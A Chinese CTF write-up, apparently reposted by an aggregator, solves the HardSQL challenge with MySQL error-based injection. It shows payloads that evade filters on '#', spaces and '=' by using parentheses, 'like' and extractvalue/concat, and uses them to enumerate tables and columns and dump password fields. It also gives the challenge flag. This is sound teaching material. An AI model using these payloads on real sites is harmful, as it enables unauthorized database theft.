MySQL注入 [极客大挑战 2019]HardSQL

Posted 山川绿水

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了MySQL注入 [极客大挑战 2019]HardSQL相关的知识,希望对你有一定的参考价值。

mysql注入 [极客大挑战 2019]HardSQL

一、必备基础知识

#号被过滤了使用%23--+绕过
空格被过滤了使用括号/**/绕过

二、实战化渗透

[极客大挑战 2019]HardSQL
1.使用1'进行简单的测试,报错

2.使用#注释--+,发现均被过滤,使用#URL绕过

1'#

3.经过测试,过滤了and空格等号
使用括号绕过空格,使用like绕过等号,使用extractvalue报错注入
获取数据库

1'or(select(extractvalue(1,concat('~',(select(database()))))))%23

4.得到数据库名为geek,获取数据表

1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())))))%23


5.得到数据表名为H4rDsq1,获取字段名信息

1'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')))))%23

6.得到三个字段,分别是id,username,password,我们要的是密码信息

1'or(extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)))))%23


7.得到一部分flag,因为flag比较长,回显出来的字段长度不足,使用rigth,left函数进行截断,得到完整的flag

1'or(extractvalue(1,concat(0x7e,(select(group_concat(right(password,20)))from(H4rDsq1)))))%23


到的flag为1-8965-f560969904c1


8.得到另一段flag99aefc25-50ec-4161-8965-f5

9.拼接之后,获取完整的flag

flag99aefc25-50ec-4161-8965-f560969904c1

以上是关于MySQL注入 [极客大挑战 2019]HardSQL的主要内容,如果未能解决你的问题,请参考以下文章

[极客大挑战 2019]LoveSQL

[极客大挑战 2019]LoveSQL

BUUCTF-[极客大挑战 2019]HardSQL(报错注入)

BUU sql注入-[极客大挑战 2019]LoveSQL

极客大挑战 2019EasySQL

[极客大挑战 2019]FinalSQL